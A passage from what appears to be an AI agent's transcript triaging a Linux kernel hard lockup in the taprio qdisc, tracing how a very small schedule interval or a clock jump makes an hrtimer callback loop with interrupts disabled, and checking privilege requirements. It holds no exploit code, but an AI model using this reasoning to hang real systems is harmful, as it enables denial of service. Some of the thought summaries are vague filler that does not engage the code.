 259:		return div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC);
 260:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 89985
							output: 50
							thoughts: 26
						

Okay, here's my interpretation of that thought process, assuming I'm an expert in this area and thinking this through:

**Delving into `picos_per_byte` in `taprio`**

Right, so I'm thinking about the `q->picos_per_byte` variable, which is critical for timing calculations within `taprio`. The core of this is that it's being *set*—that's the important point. Where? Aha, `taprio_set_picos_per_byte`. That's the function responsible. This tells me I need to go back and examine the logic within *that* function. What's the basis for its setting? What factors are considered? Is it based on hardware capabilities, a configuration setting, or perhaps dynamically adjusted? I need to understand the initial conditions and any possible constraints. Also, I wonder if there are any downstream functions that *read* this value. Knowing this would help identify the scope of impact if this value were to change. I should probably trace its usage to make sure I'm fully aware of how it influences the larger system. It's a fundamental parameter for scheduling, so getting it right is crucial.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_set_picos_per_byte]

map[SourceCode:1291:	static void taprio_set_picos_per_byte(struct net_device *dev,
1292:					      struct taprio_sched *q,
1293:					      struct netlink_ext_ack *extack)
1294:	{
1295:		struct ethtool_link_ksettings ecmd;
1296:		int speed = SPEED_10;
1297:		int picos_per_byte;
1298:		int err;
1299:	
1300:		err = __ethtool_get_link_ksettings(dev, &ecmd);
1301:		if (err < 0)
1302:			goto skip;
1303:	
1304:		if (ecmd.base.speed && ecmd.base.speed != SPEED_UNKNOWN)
1305:			speed = ecmd.base.speed;
1306:	
1307:	skip:
1308:		picos_per_byte = (USEC_PER_SEC * 8) / speed;
1309:		if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
1310:			if (!extack)
1311:				pr_warn("Link speed %d is too high. Schedule may be inaccurate.\n",
1312:					speed);
1313:			NL_SET_ERR_MSG_FMT_MOD(extack,
1314:					       "Link speed %d is too high. Schedule may be inaccurate.",
1315:					       speed);
1316:			picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
1317:		}
1318:	
1319:		atomic64_set(&q->picos_per_byte, picos_per_byte);
1320:		netdev_dbg(dev, "taprio: set %s's picos_per_byte to: %lld, linkspeed: %d\n",
1321:			   dev->name, (long long)atomic64_read(&q->picos_per_byte),
1322:			   ecmd.base.speed);
1323:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 90928
							output: 45
							thoughts: 782
						

**Analyzing High-Resolution Timer Behavior**

Okay, let's break this down. First, I need to understand how the minimum duration is calculated. If the network speed is 10 Mbps, then `picos_per_byte` is `800,000`. Consequently, `length_to_duration(q, 60)` calculates to 48,000 ns, meaning `min_duration` is at least 48,000 ns. But, if the speed is 100 Gbps, then the calculation changes: the `picos_per_byte` drops to 80, and the duration is just 4 ns. Thus, the minimum duration could be as low as 4 ns.

Now, if I set the `interval` to 4 ns and advance the clock by four years, I'd expect the timer to fire a massive number of times – around 10^15 times. Even with a more reasonable interval like 67 ms (0x4000001), the count is still enormous, about 2 * 10^9 times. That's a lot of iterations!

However, the `advance_sched` code looks a bit more nuanced. It seems to advance `end_time` by `next->interval`, but there's this `min_t` check with `oper->cycle_end_time`. If `end_time` is far in the past, it seems like `advance_sched` would mostly just return `HRTIMER_RESTART` and then advance `end_time` a little. So, the question becomes, is there a limit to how many times this loop could execute?

Looking at `kernel/time/hrtimer.c`, the main loop is this `while` loop that calls `__run_hrtimer`. This is the important part: `__run_hrtimer` sets the timer's state, and if the callback returns `HRTIMER_RESTART`, `enqueue_hrtimer` gets called. Now, the key is the condition: if the new expiration time is still less than `base->softirq_time`, the timer will be picked up again *in the same loop*. So, it *could* loop endlessly. The trick is, what is `base->softirq_time`, and does it get advanced? It is updated by `__hrtimer_run_queues`. So, I need to study that function...

map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__hrtimer_run_queues]

map[SourceCode:1809:	static void __hrtimer_run_queues(struct hrtimer_cpu_base *cpu_base, ktime_t now,
1810:					 unsigned long flags, unsigned int active_mask)
1811:	{
1812:		struct hrtimer_clock_base *base;
1813:		unsigned int active = cpu_base->active_bases & active_mask;
1814:	
1815:		for_each_active_base(base, cpu_base, active) {
1816:			struct timerqueue_node *node;
1817:			ktime_t basenow;
1818:	
1819:			basenow = ktime_add(now, base->offset);
1820:	
1821:			while ((node = timerqueue_getnext(&base->active))) {
1822:				struct hrtimer *timer;
1823:	
1824:				timer = container_of(node, struct hrtimer, node);
1825:	
1826:				/*
1827:				 * The immediate goal for using the softexpires is
1828:				 * minimizing wakeups, not running timers at the
1829:				 * earliest interrupt after their soft expiration.
1830:				 * This allows us to avoid using a Priority Search
1831:				 * Tree, which can answer a stabbing query for
1832:				 * overlapping intervals and instead use the simple
1833:				 * BST we already have.
1834:				 * We don't add extra wakeups by delaying timers that
1835:				 * are right-of a not yet expired timer, because that
1836:				 * timer will have to trigger a wakeup anyway.
1837:				 */
1838:				if (basenow < hrtimer_get_softexpires_tv64(timer))
1839:					break;
1840:	
1841:				__run_hrtimer(cpu_base, base, timer, &basenow, flags);
1842:				if (active_mask == HRTIMER_ACTIVE_SOFT)
1843:					hrtimer_sync_wait_running(cpu_base, flags);
1844:			}
1845:		}
1846:	}
 SourceFile:kernel/time/hrtimer.c]

gemini-3.1-pro-preview

							input: 92912
							output: 42
							thoughts: 33
						

Okay, here's my take on those thoughts, tailored for an expert audience:

**Analyzing the hrtimer Execution Path**

Right, so `basenow` is being passed into `__run_hrtimer` as a pointer. That's the key piece. I'm going to quickly refresh on how that function actually uses it. Let me just jump in and verify exactly how `__run_hrtimer` is using that pointer; I need to understand the implications of it being passed by pointer. What are the potential access patterns? Is it being read? Is it being written to? Is any specific locking being used to protect it? What's the context where this pointer is used? Knowing that information is critical. It determines what optimizations can be applied and whether or not there is some potential source of error. Let me take a look at the code.

map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__run_hrtimer]

map[SourceCode:1734:	static void __run_hrtimer(struct hrtimer_cpu_base *cpu_base,
1735:				  struct hrtimer_clock_base *base,
1736:				  struct hrtimer *timer, ktime_t *now,
1737:				  unsigned long flags) __must_hold(&cpu_base->lock)
1738:	{
1739:		enum hrtimer_restart (*fn)(struct hrtimer *);
1740:		bool expires_in_hardirq;
1741:		int restart;
1742:	
1743:		lockdep_assert_held(&cpu_base->lock);
1744:	
1745:		debug_deactivate(timer);
1746:		base->running = timer;
1747:	
1748:		/*
1749:		 * Separate the ->running assignment from the ->state assignment.
1750:		 *
1751:		 * As with a regular write barrier, this ensures the read side in
1752:		 * hrtimer_active() cannot observe base->running == NULL &&
1753:		 * timer->state == INACTIVE.
1754:		 */
1755:		raw_write_seqcount_barrier(&base->seq);
1756:	
1757:		__remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE, 0);
1758:		fn = ACCESS_PRIVATE(timer, function);
1759:	
1760:		/*
1761:		 * Clear the 'is relative' flag for the TIME_LOW_RES case. If the
1762:		 * timer is restarted with a period then it becomes an absolute
1763:		 * timer. If its not restarted it does not matter.
1764:		 */
1765:		if (IS_ENABLED(CONFIG_TIME_LOW_RES))
1766:			timer->is_rel = false;
1767:	
1768:		/*
1769:		 * The timer is marked as running in the CPU base, so it is
1770:		 * protected against migration to a different CPU even if the lock
1771:		 * is dropped.
1772:		 */
1773:		raw_spin_unlock_irqrestore(&cpu_base->lock, flags);
1774:		trace_hrtimer_expire_entry(timer, now);
1775:		expires_in_hardirq = lockdep_hrtimer_enter(timer);
1776:	
1777:		restart = fn(timer);
1778:	
1779:		lockdep_hrtimer_exit(expires_in_hardirq);
1780:		trace_hrtimer_expire_exit(timer);
1781:		raw_spin_lock_irq(&cpu_base->lock);
1782:	
1783:		/*
1784:		 * Note: We clear the running state after enqueue_hrtimer and
1785:		 * we do not reprogram the event hardware. Happens either in
1786:		 * hrtimer_start_range_ns() or in hrtimer_interrupt()
1787:		 *
1788:		 * Note: Because we dropped the cpu_base->lock above,
1789:		 * hrtimer_start_range_ns() can have popped in and enqueued the timer
1790:		 * for us already.
1791:		 */
1792:		if (restart != HRTIMER_NORESTART &&
1793:		    !(timer->state & HRTIMER_STATE_ENQUEUED))
1794:			enqueue_hrtimer(timer, base, HRTIMER_MODE_ABS);
1795:	
1796:		/*
1797:		 * Separate the ->running assignment from the ->state assignment.
1798:		 *
1799:		 * As with a regular write barrier, this ensures the read side in
1800:		 * hrtimer_active() cannot observe base->running.timer == NULL &&
1801:		 * timer->state == INACTIVE.
1802:		 */
1803:		raw_write_seqcount_barrier(&base->seq);
1804:	
1805:		WARN_ON_ONCE(base->running != timer);
1806:		base->running = NULL;
1807:	}
 SourceFile:kernel/time/hrtimer.c]

gemini-3.1-pro-preview

							input: 94342
							output: 45
							thoughts: 685
						

**Analyzing the hrtimer Hard Lockup**

Okay, so I'm looking at this bug report and tracing the issue. The critical point is that `__run_hrtimer` doesn't update `now`. This means that `basenow` remains constant within the `__hrtimer_run_queues` loop. If `advance_sched` returns `HRTIMER_RESTART` and sets the next expiration time (`end_time`), and this new `end_time` is *still* less than `basenow`… the timer gets re-picked up immediately! That's the infinite loop condition.

Hold on, I see `advance_sched` *adds* `next->interval` to `entry->end_time`. So, if `next->interval` is, say, 67 milliseconds, and `basenow` is set to something astronomically far in the future, like 4 years from now, then it's going to iterate a massive number of times - `4 years / 67 ms` - through this loop. And because this is running with hardirqs disabled, the CPU is completely stuck in `__hrtimer_run_queues`. This would explain the hard lockup.

Now, that RCU warning: "rcu_preempt kthread starved for 10210 jiffies!" That's just a *symptom* of the underlying problem – the CPU's being stalled for so long that RCU eventually complains. The `sched: DL replenish lagged too much` warning, similarly, is a side effect of the CPU being tied up.

So, the root cause is an infinite (or incredibly long) loop within the `advance_sched` hrtimer callback. This is caused by a mechanism that modifies the system clock. Either `clock_adjtime` is moving the clock ahead or it's just from the combination of a small interval and a huge cycle time. The reproducer seems to use `clock_adjtime`. But can a non-privileged user even call `clock_adjtime` to mess with the clock? Let me check… ah, right, it requires `CAP_SYS_TIME`. I should probably verify the permissions for `clock_adjtime` just to be sure.

requested entity does not exist

map[ContextFile:kernel/time/posix-timers.c IncludeLines:true Name:sys_clock_adjtime]

map[SourceCode: SourceFile:]

gemini-3.1-pro-preview

							input: 95576
							output: 45
							thoughts: 12
						

Okay, let's dive into this. Here's my thought process on this:

**Analyzing `do_clock_adjtime`**

Alright, the task is to examine `do_clock_adjtime`. It's a kernel function, so the potential impact and ramifications are significant. Given my experience, I know this function likely handles adjustments to the system clock. I need to understand its exact purpose within the timing subsystem, how it interacts with other clock-related functions, and, importantly, what constraints or error conditions it might encounter. I'll need to think about the typical use cases and how this function might be triggered, either by user space requests or internal kernel operations. I'll be looking for potential vulnerabilities, threading issues, or resource contention problems. The goal is to fully grasp the function's behavior to make an informed assessment.

map[ContextFile:kernel/time/posix-timers.c IncludeLines:true Name:do_clock_adjtime]

map[SourceCode:1152:	int do_clock_adjtime(const clockid_t which_clock, struct __kernel_timex * ktx)
1153:	{
1154:		const struct k_clock *kc = clockid_to_kclock(which_clock);
1155:	
1156:		if (!kc)
1157:			return -EINVAL;
1158:		if (!kc->clock_adj)
1159:			return -EOPNOTSUPP;
1160:	
1161:		return kc->clock_adj(which_clock, ktx);
1162:	}
 SourceFile:kernel/time/posix-timers.c]

gemini-3.1-pro-preview

							input: 96008
							output: 45
							thoughts: 12
						

Here's my attempt at summarizing the thought process, tailored for an expert audience:

**Investigating `pc_clock_adjtime`**

Alright, let's dive into this `pc_clock_adjtime` function. Given the naming convention, I'm immediately assuming this relates to adjusting the system clock, likely related to Precision Clock adjustments. My initial thought process is to understand the context. Is this a custom implementation, a wrapper, or part of a broader clock management system? I need to quickly establish if this function is standard library fare or something specific to a particular hardware configuration or kernel module. I'm already formulating questions: What are the potential use cases? Are we talking about fine-grained adjustments, coarse corrections, or perhaps something involving time synchronization protocols? The function name itself is a decent starting point, but I need more context to understand its purpose within the larger system architecture. It is likely the first point to check, if time drift is suspected. I need to understand its relationship to things like NTP, PTP, or any other time keeping implementations, so that the function is understood.

map[ContextFile:kernel/time/posix-timers.c IncludeLines:true Name:pc_clock_adjtime]

map[SourceCode: 224:	static int pc_clock_adjtime(clockid_t id, struct __kernel_timex *tx)
 225:	{
 226:		struct posix_clock_desc cd;
 227:		int err;
 228:	
 229:		err = get_clock_desc(id, &cd);
 230:		if (err)
 231:			return err;
 232:	
 233:		if (tx->modes && (cd.fp->f_mode & FMODE_WRITE) == 0) {
 234:			err = -EACCES;
 235:			goto out;
 236:		}
 237:	
 238:		if (cd.clk->ops.clock_adjtime)
 239:			err = cd.clk->ops.clock_adjtime(cd.clk, tx);
 240:		else
 241:			err = -EOPNOTSUPP;
 242:	out:
 243:		put_clock_desc(&cd);
 244:	
 245:		return err;
 246:	}
 SourceFile:kernel/time/posix-clock.c]

gemini-3.1-pro-preview

							input: 96637
							output: 22
							thoughts: 38
						

Okay, here's my interpretation of that thought process, from an expert's perspective:

**Diving into the Clock Implementation**

Hmm, hold on a second. I'm just quickly thinking, I need to check something related to `CLOCK_REALTIME`. My first thought is that it isn't, strictly speaking, a *POSIX clock device* in the same way some of the more specialized ones might be. It's more of a fundamental concept of the system's sense of time. So, that raises a specific question in my mind regarding its registration in the system.

Okay, let's just make sure, I want to refresh my memory, since the internal mechanisms are critical. Let's delve into `posix_timers_register_clock` specifically, and verify how `CLOCK_REALTIME` is handled within that function. I want to confirm exactly how it's registered (or handled differently) compared to other clock sources, because that could be the root of a potential issue I'm debugging, or an optimization I'm considering. Need to be sure of the finer points.

map[Expression:clock_adj.*CLOCK_REALTIME]

map[Output:tools/testing/selftests/timers/valid-adjtimex.c=193=int set_offset(long long offset, int use_nano)
--
tools/testing/selftests/timers/valid-adjtimex.c-218-
tools/testing/selftests/timers/valid-adjtimex.c:219:	ret = clock_adjtime(CLOCK_REALTIME, &tmx);
tools/testing/selftests/timers/valid-adjtimex.c-220-	if (ret < 0) {
--
tools/testing/selftests/timers/valid-adjtimex.c=228=int set_bad_offset(long sec, long usec, int use_nano)
--
tools/testing/selftests/timers/valid-adjtimex.c-238-	tmx.time.tv_usec = usec;
tools/testing/selftests/timers/valid-adjtimex.c:239:	ret = clock_adjtime(CLOCK_REALTIME, &tmx);
tools/testing/selftests/timers/valid-adjtimex.c-240-	if (ret >= 0) {
]

gemini-3.1-pro-preview

							input: 97230
							output: 22
							thoughts: 23
						

Here's my thought process, summarized as you requested:

**Investigating CLOCK_REALTIME in posix-timers.c**

Okay, so I need to understand how `CLOCK_REALTIME` is handled within the kernel, specifically concerning the POSIX timers implementation. My initial instinct is to dive directly into the relevant code, so let's check `kernel/time/posix-timers.c`. That file is where I'd expect to find the core logic for these timers, including how `CLOCK_REALTIME` is used. I'll need to scrutinize that file for any direct references to `CLOCK_REALTIME` and understand how the system interacts with the underlying hardware clock. Time to get to work!

no matches

map[Expression:CLOCK_REALTIME.*clock_adj]

map[Output:]

gemini-3.1-pro-preview

							input: 97443
							output: 19
							thoughts: 22
						

Here's my thought process, summarized as you requested:

**Investigating Clock Adjustment**

Okay, I need to understand how the system clock is being adjusted. Given the context, the best place to start looking for the core logic related to `clock_adj` is likely the POSIX timers implementation within the kernel. Therefore, my initial action is to dive into `kernel/time/posix-timers.c`. That file is where I'd expect to find the primary functions responsible for handling and manipulating the clock's behavior related to adjustments, which includes timekeeping and scheduling. I will start my investigation there.

map[Expression:clock_adj.*=]

map[Output:drivers/net/dsa/ocelot/felix_vsc9959.c=2642=static const struct ocelot_ops vsc9959_ops = {
--
drivers/net/dsa/ocelot/felix_vsc9959.c-2653-	.cut_through_fwd	= vsc9959_cut_through_fwd,
drivers/net/dsa/ocelot/felix_vsc9959.c:2654:	.tas_clock_adjust	= vsc9959_tas_clock_adjust,
drivers/net/dsa/ocelot/felix_vsc9959.c-2655-	.update_stats		= vsc9959_update_stats,
--
drivers/ptp/ptp_clock.c=189=static struct posix_clock_operations ptp_clock_ops = {
drivers/ptp/ptp_clock.c-190-	.owner		= THIS_MODULE,
drivers/ptp/ptp_clock.c:191:	.clock_adjtime	= ptp_clock_adjtime,
drivers/ptp/ptp_clock.c-192-	.clock_gettime	= ptp_clock_gettime,
--
kernel/time/posix-clock.c=313=const struct k_clock clock_posix_dynamic = {
--
kernel/time/posix-clock.c-316-	.clock_get_timespec	= pc_clock_gettime,
kernel/time/posix-clock.c:317:	.clock_adj		= pc_clock_adjtime,
kernel/time/posix-clock.c-318-};
--
kernel/time/posix-timers.c=1431=static const struct k_clock clock_realtime = {
--
kernel/time/posix-timers.c-1435-	.clock_set		= posix_clock_realtime_set,
kernel/time/posix-timers.c:1436:	.clock_adj		= posix_clock_realtime_adj,
kernel/time/posix-timers.c-1437-	.nsleep			= common_nsleep,
--
kernel/time/timekeeping.c=2967=const struct k_clock clock_aux = {
--
kernel/time/timekeeping.c-2970-	.clock_set		= aux_clock_set,
kernel/time/timekeeping.c:2971:	.clock_adj		= aux_clock_adj,
kernel/time/timekeeping.c-2972-};
]

gemini-3.1-pro-preview

							input: 98295
							output: 48
							thoughts: 15
						

Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:

**Investigating `posix_clock_realtime_adj`**

Right, let's dive into this. The initial thought, of course, is a direct call to action: "Let's check `posix_clock_realtime_adj`." This immediately suggests I'm already within a context where clock adjustments are relevant. I'm likely debugging, optimizing, or perhaps architecting something that interacts closely with the system clock. It's a precise target; I'm not just thinking "clock stuff," but specifically honing in on this *particular* system call. I'm assuming that my audience understands the implications - the potential for time drift correction, leap second handling, and all the complexities inherent in managing a real-time clock in a modern OS. This is where I begin the process of understanding it's use.

map[ContextFile:kernel/time/posix-timers.c IncludeLines:true Name:posix_clock_realtime_adj]

map[SourceCode: 211:	static int posix_clock_realtime_adj(const clockid_t which_clock,
 212:					    struct __kernel_timex *t)
 213:	{
 214:		return do_adjtimex(t);
 215:	}
 SourceFile:kernel/time/posix-timers.c]

gemini-3.1-pro-preview

							input: 98670
							output: 42
							thoughts: 11
						

Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:

**Investigating `do_adjtimex`**

Right, let's dive straight in. The first thing I'm going to do is take a look at `do_adjtimex`. I need to refresh my memory on the details of this function. Let's see what's going on there. It's time to get a good understanding of what this is doing. I need to fully understand its function.

map[ContextFile:kernel/time/timekeeping.c IncludeLines:true Name:do_adjtimex]

map[SourceCode:2734:	/**
2735:	 * do_adjtimex() - Accessor function to NTP __do_adjtimex function
2736:	 * @txc:	Pointer to kernel_timex structure containing NTP parameters
2737:	 */
2738:	int do_adjtimex(struct __kernel_timex *txc)
2739:	{
2740:		struct adjtimex_result result = { };
2741:		int ret;
2742:	
2743:		ret = __do_adjtimex(&tk_core, txc, &result);
2744:		if (ret < 0)
2745:			return ret;
2746:	
2747:		if (txc->modes & ADJ_SETOFFSET)
2748:			audit_tk_injoffset(result.delta);
2749:	
2750:		audit_ntp_log(&result.ad);
2751:	
2752:		if (result.clock_set)
2753:			clock_was_set(CLOCK_SET_WALL);
2754:	
2755:		ntp_notify_cmos_timer(result.delta.tv_sec != 0);
2756:	
2757:		return ret;
2758:	}
 SourceFile:kernel/time/timekeeping.c]

gemini-3.1-pro-preview

							input: 99225
							output: 43
							thoughts: 12
						

Okay, here's my attempt at summarizing that thought process, tailored for an expert audience:

**Checking `__do_adjtimex`**

Alright, let's dive in. The core of this investigation hinges on the `__do_adjtimex` function. My first thought is to verify its current state. I need to quickly recall the implications of this function, how it interacts with the kernel's timekeeping mechanisms, and where it sits in the broader NTP or chrony context. What are the potential areas for concern? Is this related to a recent bug report I read, or a particular system I'm working on? I need to consider any recent changes in the kernel source, or recent updates. This function is a critical entry point; therefore, its behaviour and internal workings merit detailed scrutiny.

map[ContextFile:kernel/time/timekeeping.c IncludeLines:true Name:__do_adjtimex]

map[SourceCode:2678:	static int __do_adjtimex(struct tk_data *tkd, struct __kernel_timex *txc,
2679:				 struct adjtimex_result *result)
2680:	{
2681:		struct timekeeper *tks = &tkd->shadow_timekeeper;
2682:		bool aux_clock = !timekeeper_is_core_tk(tks);
2683:		struct timespec64 ts;
2684:		s32 orig_tai, tai;
2685:		int ret;
2686:	
2687:		/* Validate the data before disabling interrupts */
2688:		ret = timekeeping_validate_timex(txc, aux_clock);
2689:		if (ret)
2690:			return ret;
2691:		add_device_randomness(txc, sizeof(*txc));
2692:	
2693:		if (!aux_clock)
2694:			ktime_get_real_ts64(&ts);
2695:		else
2696:			tk_get_aux_ts64(tkd->timekeeper.id, &ts);
2697:	
2698:		add_device_randomness(&ts, sizeof(ts));
2699:	
2700:		guard(raw_spinlock_irqsave)(&tkd->lock);
2701:	
2702:		if (!tks->clock_valid)
2703:			return -ENODEV;
2704:	
2705:		if (txc->modes & ADJ_SETOFFSET) {
2706:			result->delta.tv_sec  = txc->time.tv_sec;
2707:			result->delta.tv_nsec = txc->time.tv_usec;
2708:			if (!(txc->modes & ADJ_NANO))
2709:				result->delta.tv_nsec *= 1000;
2710:			ret = __timekeeping_inject_offset(tkd, &result->delta);
2711:			if (ret)
2712:				return ret;
2713:			result->clock_set = true;
2714:		}
2715:	
2716:		orig_tai = tai = tks->tai_offset;
2717:		ret = ntp_adjtimex(tks->id, txc, &ts, &tai, &result->ad);
2718:	
2719:		if (tai != orig_tai) {
2720:			__timekeeping_set_tai_offset(tks, tai);
2721:			timekeeping_update_from_shadow(tkd, TK_CLOCK_WAS_SET);
2722:			result->clock_set = true;
2723:		} else {
2724:			tk_update_leap_state_all(&tk_core);
2725:		}
2726:	
2727:		/* Update the multiplier immediately if frequency was set directly */
2728:		if (txc->modes & (ADJ_FREQUENCY | ADJ_TICK))
2729:			result->clock_set |= __timekeeping_advance(tkd, TK_ADV_FREQ);
2730:	
2731:		return ret;
2732:	}
 SourceFile:kernel/time/timekeeping.c]

gemini-3.1-pro-preview

							input: 100365
							output: 44
							thoughts: 14
						

Here's my attempt at summarizing the thought process, tailored for an expert audience:

**Analyzing the `timekeeping_validate_timex` Function**

Okay, so I'm thinking about `timekeeping_validate_timex`. Initially, it just seemed like a validation routine, checking input parameters for the timekeeping system. But then, it hit me... *it checks permissions*. This changes everything. My initial assumption was naive; it's not simply a data validation function. It's likely a critical gatekeeper for privileged operations related to time manipulation. This significantly impacts how I approach its security and how it's integrated within the overall system design. Now I need to explore *what* permissions it is checking and the context it validates in. This is far more interesting than first suspected.

map[ContextFile:kernel/time/timekeeping.c IncludeLines:true Name:timekeeping_validate_timex]

map[SourceCode:2578:	/*
2579:	 * timekeeping_validate_timex - Ensures the timex is ok for use in do_adjtimex
2580:	 */
2581:	static int timekeeping_validate_timex(const struct __kernel_timex *txc, bool aux_clock)
2582:	{
2583:		if (txc->modes & ADJ_ADJTIME) {
2584:			/* singleshot must not be used with any other mode bits */
2585:			if (!(txc->modes & ADJ_OFFSET_SINGLESHOT))
2586:				return -EINVAL;
2587:			if (!(txc->modes & ADJ_OFFSET_READONLY) &&
2588:			    !capable(CAP_SYS_TIME))
2589:				return -EPERM;
2590:		} else {
2591:			/* In order to modify anything, you gotta be super-user! */
2592:			if (txc->modes && !capable(CAP_SYS_TIME))
2593:				return -EPERM;
2594:			/*
2595:			 * if the quartz is off by more than 10% then
2596:			 * something is VERY wrong!
2597:			 */
2598:			if (txc->modes & ADJ_TICK &&
2599:			    (txc->tick <  900000/USER_HZ ||
2600:			     txc->tick > 1100000/USER_HZ))
2601:				return -EINVAL;
2602:		}
2603:	
2604:		if (txc->modes & ADJ_SETOFFSET) {
2605:			/* In order to inject time, you gotta be super-user! */
2606:			if (!capable(CAP_SYS_TIME))
2607:				return -EPERM;
2608:	
2609:			/*
2610:			 * Validate if a timespec/timeval used to inject a time
2611:			 * offset is valid.  Offsets can be positive or negative, so
2612:			 * we don't check tv_sec. The value of the timeval/timespec
2613:			 * is the sum of its fields,but *NOTE*:
2614:			 * The field tv_usec/tv_nsec must always be non-negative and
2615:			 * we can't have more nanoseconds/microseconds than a second.
2616:			 */
2617:			if (txc->time.tv_usec < 0)
2618:				return -EINVAL;
2619:	
2620:			if (txc->modes & ADJ_NANO) {
2621:				if (txc->time.tv_usec >= NSEC_PER_SEC)
2622:					return -EINVAL;
2623:			} else {
2624:				if (txc->time.tv_usec >= USEC_PER_SEC)
2625:					return -EINVAL;
2626:			}
2627:		}
2628:	
2629:		/*
2630:		 * Check for potential multiplication overflows that can
2631:		 * only happen on 64-bit systems:
2632:		 */
2633:		if ((txc->modes & ADJ_FREQUENCY) && (BITS_PER_LONG == 64)) {
2634:			if (LLONG_MIN / PPM_SCALE > txc->freq)
2635:				return -EINVAL;
2636:			if (LLONG_MAX / PPM_SCALE < txc->freq)
2637:				return -EINVAL;
2638:		}
2639:	
2640:		if (aux_clock) {
2641:			/* Auxiliary clocks are similar to TAI and do not have leap seconds */
2642:			if (txc->status & (STA_INS | STA_DEL))
2643:				return -EINVAL;
2644:	
2645:			/* No TAI offset setting */
2646:			if (txc->modes & ADJ_TAI)
2647:				return -EINVAL;
2648:	
2649:			/* No PPS support either */
2650:			if (txc->status & (STA_PPSFREQ | STA_PPSTIME))
2651:				return -EINVAL;
2652:		}
2653:	
2654:		return 0;
2655:	}
 SourceFile:kernel/time/timekeeping.c]

gemini-3.1-pro-preview

							input: 101838
							output: 47
							thoughts: 423
						

**Analyzing the Clock Adjustment Vulnerability**

Okay, so the initial thought is that `capable(CAP_SYS_TIME)` is the key requirement here for clock modification. But wait, `capable` checks the init user namespace, right? That means an unprivileged user, even within a user namespace, can't just call `clock_adjtime` directly to mess with the clock because the system uses `capable(CAP_SYS_TIME)` and not `ns_capable`. I need to confirm this... yes, `capable(CAP_SYS_TIME)` is definitely being used. So, the reproducer must be running as root within the init namespace to utilize `clock_adjtime`.

But, hold on. Can this vulnerability be triggered without relying on `clock_adjtime` at all? I need to think outside the box. What if we use a super-small `interval`, like, say, 4 ns? And pair that with a large `cycle_time`? Hmm... `interval` is the duration of a schedule entry, and `cycle_time` is the sum of all intervals in the schedule.

If `interval` is 4 ns, `advance_sched` will advance `end_time` by 4 ns. But `advance_sched` is called when the timer expires. So, the timer expires, `advance_sched` is called, it increments `end_time` by 4 ns, and then the timer is set to expire again at the new `end_time`. If `end_time` is still in the past (because the interrupt handler, let's say, takes 1000 ns), then it will immediately fire again. And if the handler takes more than 4 ns, `end_time` will always be in the past!

Wait, `end_time` is initialized to `start_time`. So if `start_time` is already in the past, it will loop until `end_time` catches up to `now`. The critical question is: Can `start_time` be set in the past? Let's go look at `taprio_get_start_time` and see.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_get_start_time]

map[SourceCode:1205:	static int taprio_get_start_time(struct Qdisc *sch,
1206:					 struct sched_gate_list *sched,
1207:					 ktime_t *start)
1208:	{
1209:		struct taprio_sched *q = qdisc_priv(sch);
1210:		ktime_t now, base, cycle;
1211:		s64 n;
1212:	
1213:		base = sched_base_time(sched);
1214:		now = taprio_get_time(q);
1215:	
1216:		if (ktime_after(base, now)) {
1217:			*start = base;
1218:			return 0;
1219:		}
1220:	
1221:		cycle = sched->cycle_time;
1222:	
1223:		/* The qdisc is expected to have at least one sched_entry.  Moreover,
1224:		 * any entry must have 'interval' > 0. Thus if the cycle time is zero,
1225:		 * something went really wrong. In that case, we should warn about this
1226:		 * inconsistent state and return error.
1227:		 */
1228:		if (WARN_ON(!cycle))
1229:			return -EFAULT;
1230:	
1231:		/* Schedule the start time for the beginning of the next
1232:		 * cycle.
1233:		 */
1234:		n = div64_s64(ktime_sub_ns(now, base), cycle);
1235:		*start = ktime_add_ns(base, (n + 1) * cycle);
1236:		return 0;
1237:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 103283
							output: 25
							thoughts: 613
						

**Analyzing a Potential Scheduling Loop**

Okay, so I'm digging into this scheduling logic, specifically the `taprio_get_start_time` function, trying to understand how it determines the next cycle start. It's using `taprio_get_time(q)` to grab the current time, and then doing some calculations with `base`, `cycle`, and a variable `n` to arrive at a future `start` time. The key here is that `start` is *always* supposed to be in the future relative to the current time, `now`.

But, here's the rub. What happens if the `interval` is extremely small? Let's say it's just 4 nanoseconds, and the `cycle_time` ends up being equally tiny. If `cycle_time` is also 4 ns, then my `start` time will be, at most, 4 ns in the future. Now, consider that by the time the `hrtimer_start` is called, that calculated `start` time might *already* be in the past!

If that happens, and `start` is in the past, `advance_sched` gets called. `advance_sched` dutifully adds the `interval` (4 ns) to the current `end_time`. But since `start` was already in the past, `end_time` is *also* in the past! And it returns `HRTIMER_RESTART`. So, the hrtimer subsystem just calls `advance_sched` *again* immediately.

And it's just going to keep adding 4 ns each time, repeatedly calculating a time that's forever in the past. But each iteration is going to take, say, 100 ns, so `end_time` will never catch up to `now`! Wait a minute... if it never catches up, we've got ourselves an infinite loop!

So, can `interval` actually *be* 4 ns? Let's check.

Looking at `fill_sched_entry`, there's this `min_duration` calculation that seems important. It gets the minimum packet duration using `length_to_duration(q, ETH_ZLEN)`. If `interval` is smaller than `min_duration`, it throws an error. So, can this minimum duration be small enough to be the source of our 4 ns?

`ETH_ZLEN` is 60, and `length_to_duration` uses `div_u64` with `atomic64_read(&q->picos_per_byte)`. `q->picos_per_byte` is set by `taprio_set_picos_per_byte` and depends on the link speed. It looks like it's calculated using `(USEC_PER_SEC * 8) / speed`, with a minimum value set by `TAPRIO_PICOS_PER_BYTE_MIN`. Now I need to see what that `TAPRIO_PICOS_PER_BYTE_MIN` value actually *is* to understand if we can get a duration low enough to trigger the loop.

map[Expression:TAPRIO_PICOS_PER_BYTE_MIN]

map[Output:net/sched/sch_taprio.c=37=static struct static_key_false taprio_have_working_mqprio;
--
net/sched/sch_taprio.c-49- */
net/sched/sch_taprio.c:50:#define TAPRIO_PICOS_PER_BYTE_MIN 17
